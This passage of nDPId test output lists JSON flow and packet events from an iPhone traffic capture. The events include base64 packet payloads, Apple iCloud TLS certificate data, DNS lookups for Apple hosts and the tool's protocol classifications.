VzZXJ2aWNlLmljbG91ZC5jb22CHnAwOS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDU3LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNTkta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA2NC1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDM4LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNTQta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA3Mi1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIaa2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA2OS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDQzLWtleXZhbHVl"} +02356{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":53106,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUNC0AADEGwewR+LlXwKgCEQG7xZWfE+1mqBrg7oAQA6skGQAAAQEICuksLL8R3+lTc2VydmljZS5pY2xvdWQuY29tgh5wNDUta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CH3AyMDIta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA5OC1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDM0LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNDQta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA0Ni1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDUzLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNjAta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb20wgf8GA1UdIASB9zCB9DCB8QYKKoZIhvdjZAULBDCB4jCBpAYIKwYBBQUHAgIwgZcMgZRSZWxpYW5jZSBvbiB0aGlzIGNlcnRpZmljYXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgYW55IGFwcGxpY2FibGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgb2YgdXNlIGFuZC9vciBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMDkGCCsGAQUFBwIBFi1odHRwOi8vd3d3LmFwcGxlLmNvbS9jZXJ0aWZpY2F0ZWF1dGhvcml0eS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwNwYDVR0fBDAwLjAsoCqgKIYmaHR0cDovL2NybC5hcHBsZS5jb20vYXBwbGVpc3RjYTJnMS5jcmwwHQYDVR0OBBYEFLxEgmvHm6nsbbjLysXEuJqWCBf7MA4GA1UdDwEB\/wQEAwIDiDARBgsqhkiG92NkBhsPAgQCBQAwEQYLKoZIhvdjZAYbCwIEAgUAMBEGCyqGSIb3Y2QGGwcCBAIFADCCAm0GCisGAQQB1nkCBAIEggJdBIICWQJXAHcAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFu7DGfUAAABAMASDBGAiEAkIFEOLmDgEPKS\/Qpn+gvcGdVxwZh2RtwPBHxJ6l3lZICIQCi00a6jwr6sbV7hj41E+jnKcqu5UEnmfLZhfz5CQ7R0AB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABbuwxn04AAAQDAEYwRAIgUv1EqowTKT9So1WqwIOGA3luY+tL3SWKbLJ5cDEAPZsCIAnj0wsfLGUUwOk1JvoG4dMKD20PisAthmJ9mcy1g6p+AHcAVhQGmi\/XwuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFu7DGfJAAABAMASDBGAiEAgDmxo+Q8kzODiinmd9PriF+SwytTJ8xotubQ8RpQ2McCIQCaEFQmEG5tYUIjL30LXQcO3J+Y994aQcq3axIYhoDfrwB1AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbuwxnyYAAAQDAEYwRAIgRkoZMZEXrpwXPnsvnJkAevr++WLJ2Sl8f8VTNrC3YfMCIEYJxKprDDTVybe4\/if7LN49Zos0TQoX2deXSrNcLGuAAHUARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFu7DGfSgAABAMARjBEAiA+sgoY+ev+ZPPxMV9CLh6j19CXzFQyTd2yIPppwu59YQIgZzz1mA0KMDkiqnDf86dpXkA7Pd8vP4REv7VQuztY+7UwDQYJKoZIhvcNAQELBQADggEBAKE+nH0I6j5Rp2v08ysAeQf54YYbOLwO1CWWMdpTpZReAYxkU9UYaKnRGHS\/EILXyUXgNTXoUj2Yce4hPDltHwjy7tNZHLe6rmKQfXveN4KZ"} +00551{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":54356,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkxGGLNYKpCABFAgCRAABAAEAGtWjAqAIREfiwS8WUAbuGKOzJAHfoQ4AYBABCnQAAAQEIChHf6ZBbEwgKFgMDACUQAAAhIL1bD1d4gCPrhXuI+0HyQ836+EFHhzg8hbOYWEtlXXlqFAMDAAEBFgMDACgAAAAAAAAAAJqD4mhUi0lPlD7vEeTtzw5MOqf4EnbHOHobPXgamAhn"} +02369{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":54383,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUNC4AADEGwesR+LlXwKgCEQG7xZWfE\/MGqBrg7oAQA6ujXwAAAQEICuksLL8R3+lT3JbzYMyEzdUS4cWlKAF1Va5SsBGwHSECU3X1KUfmmizpejSqEbJ67kcmIrDmdYUD4k93AWtuXEn\/ebhInrwt4zYV1gSPEfAI58yKWHpw4lCtKIhwHiW3WJnFH8fipGLpEvTPrV8w+fdRiulKuFrYa3mI3jZk2rWsShsw6AzJ6GQsK71JsSJig49Kwx+fHJLt59p6XFPbpeHKfRkXPd9aOmNYxmsXjVMqsOh1IKFx3hQABEQwggRAMIIDKKADAgECAgMCOnQwDQYJKoZIhvcNAQELBQAwQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTAeFw0xNDA2MTYxNTQyMDJaFw0yMjA1MjAxNTQyMDJaMGIxHDAaBgNVBAMTE0FwcGxlIElTVCBDQSAyIC0gRzExIDAeBgNVBAsTF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MRMwEQYDVQQKEwpBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANCToR1HQyAWsgtr68PVtOjHmM3z3r\/oTenjNoAH\/EUbanxFhq5W06QJf2ENa11+Umt9tMg5xPRnOveDzhlvhi9+RX5HHGdSypUFXeI2UYXA1GeANW8V3T79HdL9jzRQ2Ox2Kr7j09rk\/cjrKAKWEZcXYRzpxFk7Qtwy0Qkd2qbRQ4b\/XrK8jM9m2wGLAq6USPM4j\/3qMqgI7IaXUZQkPklJllPoeaFAgekFu5OVUfzj\/XwRS\/eeCLMVSRUH+dE3oJtLMva1xNxq0fwK7fbgxSmgqItx\/g2SvP5UcBgKbcftDPvJLQbDjIX8y4Zc1jaOEosJf\/sZGjjV8JQweg+mjPMCAwEAAaOCAR0wggEZMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBTYepREfJBwkBae3RecAUQDhtYqKTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5zeW1jZC5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwDQYJKoZIhvcNAQELBQADggEBABZHc2+FomLh5yp2u4mVQiaXvEqsrHBTOj8xgz08HKua4rFdHHYaoDwMcle+055Q4MiZ1ljXAurODSlUfM31wsaQKVWjbxSoC0INOphtBnie8GqjHQIKoiikjcKBRj5tZ9reP\/6FDkIqEt61t\/u4G6eW7Hef7NRTlXr\/B\/TyChTAUVKx1o5QCxqZXLwLyb3t7fhewVbbTX4jpBGhLNQbBZrkG1L2fDiZBUu6co1CiWAEZir0\/WjXa\/eZQSjWbCSr5iVTLsiCmeKijyO+MIOxJ4v6aH8BSejGmGsQLpheitfKS7HHyVia0DbblpXstoHk8s1vG3mHTBA8ieRN+lTcqqYWAwMFshYABa4BAAWqMIIFpgoBAKCCBZ8wggWbBgkrBgEFBQcwAQEEggWMMIIFiDCBoqIWBBTfpWiX6YNWmPkhXKUgzCvG1tTdaxgPMjAyMDAyMjMwMTA3MzBaMHcwdTBJMAkGBSsOAwIaBQAEFCaEh7OMUBUpl9vU0X43\/z8u8xVoBBTYepREfJBwkBae3RecAUQDhtYqKQIQErPWUyDtIbbZ+VE6+EMH"} +03502{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":237,"source":"iphone.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":9,"flow_first_seen":1582454598721,"flow_last_seen":1582454599054,"flow_tot_l4_data_len":6585,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":731,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.87","src_port":50581,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p26-keyvalueservice.icloud.com","server_names":"p62-keyvalueservice.icloud.com,p41-keyvalueservice.icloud.com,p97-keyvalueservice.icloud.com,p28-keyvalueservice.icloud.com,p32-keyvalueservice.icloud.com,p56-keyvalueservice.icloud.com,p33-keyvalueservice.icloud.com,p37-keyvalueservice.icloud.com,p67-keyvalueservice.icloud.com,p70-keyvalueservice.icloud.com,p63-keyvalueservice.icloud.com,p07-keyvalueservice.icloud.com,p52-keyvalueservice.icloud.com,p18-keyvalueservice.icloud.com,p21-keyvalueservice.icloud.com,p17-keyvalueservice.icloud.com,p36-keyvalueservice.icloud.com,p19-keyvalueservice.icloud.com,p26-keyvalueservice.icloud.com,p55-keyvalueservice.icloud.com,p06-keyvalueservice.icloud.com,p23-keyvalueservice.icloud.com,p65-keyvalueservice.icloud.com,p58-keyvalueservice.icloud.com,p35-keyvalueservice.icloud.com,p42-keyvalueservice.icloud.com,p12-keyvalueservice.icloud.com,p15-keyvalueservice.icloud.com,p16-keyvalueservice.icloud.com,p29-keyvalueservice.icloud.com,p39-keyvalueservice.icloud.com,p71-keyvalueservice.icloud.com,p22-keyvalueservice.icloud.com,p40-keyvalueservice.icloud.com,p11-keyvalueservice.icloud.com,p66-keyvalueservice.icloud.com,p68-keyvalueservice.icloud.com,p201-keyvalueservice.icloud.com,p10-keyvalueservice.icloud.com,p61-keyvalueservice.icloud.com,p30-keyvalueservice.icloud.com,p01-keyvalueservice.icloud.com,p14-keyvalueservice.icloud.com,p50-keyvalueservice.icloud.com,p31-keyvalueservice.icloud.com,p47-keyvalueservice.icloud.com,p48-keyvalueservice.icloud.com,p20-keyvalueservice.icloud.com,p51-keyvalueservice.icloud.com,p27-keyvalueservice.icloud.com,p49-keyvalueservice.icloud.com,p03-keyvalueservice.icloud.com,p24-keyvalueservice.icloud.com,p25-keyvalueservice.icloud.com,p08-keyvalueservice.icloud.com,p13-keyvalueservice.icloud.com,p04-keyvalueservice.icloud.com,p05-keyvalueservice.icloud.com,p02-keyvalueservice.icloud.com,p09-keyvalueservice.icloud.com,p57-keyvalueservice.icloud.com,p59-keyvalueservice.icloud.com,p64-keyvalueservice.icloud.com,p38-keyvalueservice.icloud.com,p54-keyvalueservice.icloud.com,p72-keyvalueservice.icloud.com,keyvalueservice.icloud.com,p69-keyvalueservice.icloud.com,p43-keyvalueservice.icloud.com,p45-keyvalueservice.icloud.com,p202-keyvalueservice.icloud.com,p98-keyvalueservice.icloud.com,p34-keyvalueservice.icloud.com,p44-keyvalueservice.icloud.com,p46-keyvalueservice.icloud.com,p53-keyvalueservice.icloud.com,p60-keyvalueservice.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=Apple IST CA 2 - G1, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=keyvalueservice.icloud.com, O=Apple Inc., ST=California, C=US","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"D8:84:3B:15:06:49:1C:72:C4:05:C0:F0:82:3B:43:4A:D1:8F:D5:9F"}} +00435{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":238,"source":"iphone.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1582454599054,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":54579,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAWxGGLNYKpCABGAAAoAABAAAECQgDAqAIR4AAAFpQEAAAiAPkCAAAAAQQAAADgAAD7"} +00467{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":238,"source":"iphone.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1582454599054,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00425{"flow_id":43,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":58375,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG0qPAqAIRaEk9HsWXAbvBeeIgaSGAnIAQA\/T3cwAAAQEIChHf6fCgrSIM"} +00424{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":58425,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG0qPAqAIRaEk9HsWXAbvBeeIgaSGFXIAQA+vyvAAAAQEIChHf6fCgrSIM"} +00426{"flow_id":43,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":58580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG0qPAqAIRaEk9HsWXAbvBeeIgaSGKDYAQA\/bt\/wAAAQEIChHf6fCgrSIN"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":246,"source":"iphone.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1582454599065,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":62160,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":65380,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xiwDYGpkxGGLNYKpCABFAAA7Z5IAAP8RzrzAqAIRwKgCAfLQADUAJ+lbzwoBAAABAAAAAAAAA2dzYQVhcHBsZQNjb20AAAEAAQ=="} +00627{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":246,"source":"iphone.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1582454599065,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":62160,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gsa.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02352{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":65540,"pkt_caplen":1488,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1488,"pkt_l4_len":1454,"pkt":"xGGLNYKpxiwDYGpkCABFAgXCNC8AADEGwfwR+LlXwKgCEQG7xZWfE\/imqBrg7oAYA6vhjAAAAQEICuksLMsR3+lTVIAAGA8yMDIwMDIyMzAxMDczMFqgERgPMjAyMDAyMjMxMzA3MzBaoQIwADANBgkqhkiG9w0BAQsFAAOCAQEApZebgvP4wt2xbRPNgeM6QR3gnlBNoptTaV3Js3+f9y\/NNkepdWzwj\/W+QJi3ARwE65kCC7NPaNkRI9IIJYGetMXuOB3pgHbCn74qb1fPPW4vS8GsyQ1TUAtBzJb\/74uwI7iz\/Pdywa5tHHunCWTyJTdqZljxf\/g8kmZIDqE1V9ZzFLmCU22z1KXs9bw31F\/nDH5\/\/o4Ko0xO3SUA1mzMsNXWVY2RAqfR99KlV25B+KXVmRjJ0czBR5+SPq0GKCxx\/TD4dLcVPilOfYqqvEkKb+EU6Jtjg6Bgk\/rMnJ8xnFi4PcGVOxRzVSoiSxJ2SQ1B1ZJ\/G5iwD0CcR2tPkxPI3aCCA8swggPHMIIDwzCCAqugAwIBAgIQDLHVj\/lAOV9FbdPzoVcFXDANBgkqhkiG9w0BAQsFADBiMRwwGgYDVQQDExNBcHBsZSBJU1QgQ0EgMiAtIEcxMSAwHgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTETMBEGA1UEChMKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwHhcNMjAwMjIwMjA0MDQyWhcNMjAwNDAyMjA0MDQyWjBPMSswKQYDVQQDDCJBcHBsZSBJU1QgQ0EgMiBPQ1NQIFJlc3BvbmRlciBOTDA1MRMwEQYDVQQKDApBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK40BJ6QeZqLnlrYADxY\/Zwtd1ARo0pyWY5B+XnMConOSB6Dz30KU\/8rtcAwCqTi2qaUYnzNveRaheyicLRVkBXal0yMPH5fNa3fx\/XY9cJuf5hNDchr9THIn50TVUFluMHOjEW8fte9LX8XRoftE5KtBZfZkxFBtFdNm2TogfGvxv4WfWYZuhp5Iv5ZrHlmRZCJeWHmxgIgqDT8nbgB9ET6Pgqi9ciKBTj6PUeaHo\/JibORWlP3CpGEYOm5Q6UJEt\/q95U9YLAOzBuF\/Hzn581aFs2cHFP8FYiNosCQfV1wuXAdzh2Mr44S8yOoXorZ7fHnpzPTP2B0U5t00gc44GUCAwEAAaOBhzCBhDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMA8GCSsGAQUFBzABBQQCBQAwEwYDVR0lBAwwCgYIKwYBBQUHAwkwHQYDVR0OBBYEFN+laJfpg1aY+SFcpSDMK8bW1N1rMA4GA1UdDwEB\/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAQEAMdRMNlyCvP5UZNuXL2VAMf6ODBpBD+52VO4euXzAuekgLXMkraNpSS2NyeN3hEg9FNng5iKcfarZ1\/tiBTgrsguljII73ED130njJbUR4\/Y28F\/UwE1jDQ4jjVAG8DCRhL+xX5FTGWtY\/SoPxHwsdM1+1hgEEQUoUoy903+nywjqyYHwEXHQsm3D7WxJ63+T4ECkVjoGsLcvOopAhq0tDhB9BM5JTxKpfATSZ2dM7Jnw4zgcXx4aWKoHEDE+R531+Xfw17Q5razmXVEkeA18KzX9AhQjaiXUIHWjrt+1QwWi23AiBLtXLwJqSg7XgPhLXGz9T5+dcopG0PxnlPnwyhYDAwByDAAAbgMAHSCQbI7PnYpErN0cAE7Hh6VOF6w1VSHwsD+VJyZQ46dJIwQDAEYwRAIgL8GQ\/LqWv+tCZr2WqWhDqo+3\/ZqRDoO3RINXHqNeCfgCIHhwrR9TpE5nNXgnvLrmXNLJKO9BzNWtWborQ8Q8hRyMFgMDAAQOAAAA"} +00425{"flow_id":40,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":72879,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrLvAqAIREfi5V8WVAbuoGuDunxPtZoAQA\/T2IwAAAQEIChHf6gjpLCyz"} +00425{"flow_id":40,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":72898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrLvAqAIREfi5V8WVAbuoGuDunxP4poAQA97q7QAAAQEIChHf6gjpLCy\/"} +00424{"flow_id":40,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":72948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrLvAqAIREfi5V8WVAbuoGuDunxP+NIAQA9LlXwAAAQEIChHf6gjpLCzL"} +00424{"flow_id":40,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":73060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrLvAqAIREfi5V8WVAbuoGuDunxP+NIAQBADlMQAAAQEIChHf6gjpLCzL"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"iphone.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1582454599073,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52031,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":73352,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xiwDYGpkxGGLNYKpCABFAAA7y\/EAAP8Ral3AqAIRwKgCAcs\/ADUAJ2vSdCUBAAABAAAAAAAAA2dzYQVhcHBsZQNjb20AAAEAAQ=="} +00627{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":252,"source":"iphone.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1582454599073,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52031,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"gsa.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02057{"flow_id":43,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":77950,"pkt_caplen":1267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1267,"pkt_l4_len":1233,"pkt":"xGGLNYKpxiwDYGpkCABFAATlb4kAADUGqWloST0ewKgCEQG7xZdpIYVcwXniIIAYAOvoDwAAAQEICqCtInMR3+l2SkTMBPp\/p8lFXhB0RlPC1zHPW\/PIUL4j76iX6n6QYzn8PuDG5PVvh8BwHMI4V1U+oYNViNIjWKAouQrmvIzxzYfBKGCwbC5AC73Kbp56hG2kOc1ij95iGfR0mKwjHDX8hFUPJDiGZOHWgAVzqOChlri1fs7g3ZYZKcH5FfCQWdiFyXgusOVOBCNJdKI9fcBXCKnOqC2v6UqGhPHYpT+XzsdUj5JNdR0ftswO5Of3ReTqEeYwIfTYxcWqM9nLx+KL8DgfIwoaWiq\/OZjCpbZo6zKvUMXsfJSBnYdlnqOLZaxuYbfAMTuBWsAsxgS53fcNN\/Upky2Ni3sh5V+55a\/ahSRzg4olT3dADw8CZqu\/GtianrhdL51xVyYT44wb9pyTb8LZPXSMrr6VXl+Z9Fg5RlYabXQwex+iUfBjrbJBVwgbAm0o6y2mtL\/o03aKC3PEUPlyBOhHPDjTl+vED4ARDYhZxSY55roVOVW7oe7sfWY1m1MuBkGx9CsxmahbUd5lt13K6F5mZmjQt\/if8SoMOQzwVBiJdSjtVcIh\/VPn7KaPiHy2JAhyqW5eSBuDmPPFfSDTFiMqjeVuGcyhDTJbkcghRhbmRbgJV0\/TMZ98Uz4WyhwNh5hlAaNTM3fQPYM635ZRyfNAmz22nQhNpPHFIGqFUOlBkeShcZk5DR2RBMbDapOveTbXMOqogjugLs6klwckMH8JajAiB9JNPmlOqD\/R723da2HMNwv03j2rXLxkmn1k8XYzYjbOXHPbo9jyIHVIc0AvAQvG\/vTi3TuPq+js859l2ThyRIkD2PfLvy8S3LloJ+CXbLN3zvTwjUDaQhGySmuEtbVs14gO47IiDEMtJ6yrLLED1EeLsfSvFia4wpkbkLsUeEscDNfKuQXv8dB2DB4Cf8FYkRhH8uUxDIPG30dqU5yaZgjsoK2d9m